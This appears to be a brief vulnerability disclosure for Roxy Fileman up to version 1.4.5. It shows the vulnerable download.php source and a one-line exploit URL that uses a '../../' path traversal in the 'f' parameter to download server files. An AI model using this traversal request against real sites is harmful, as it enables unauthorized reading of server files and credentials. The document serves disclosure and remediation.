Roxy Fileman <=v1.4.5 has Directory traversal via the php/download.php f parameter

Roxy Fileman is free open source file browser for .NET and PHP, ready for use with CKEditor and TinyMCE WYSIWYG html editors. It could be easily integrated into a CMS or any other web application.

website: http://www.roxyfileman.com/

download.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
include '../system.inc.php';
include 'functions.inc.php';
verifyAction('DOWNLOAD');
checkAccess('DOWNLOAD');
$path = trim($_GET['f']);
verifyPath($path);
if(is_file(fixPath($path))){
$file = urldecode(basename($path));
header('Content-Disposition: attachment; filename="'.$file.'"');
header('Content-Type: application/force-download');
readfile(fixPath($path));
}

EXP:

1
/libraries/fileman/php/download.php?f=/upload/team/../../index.php

download-bs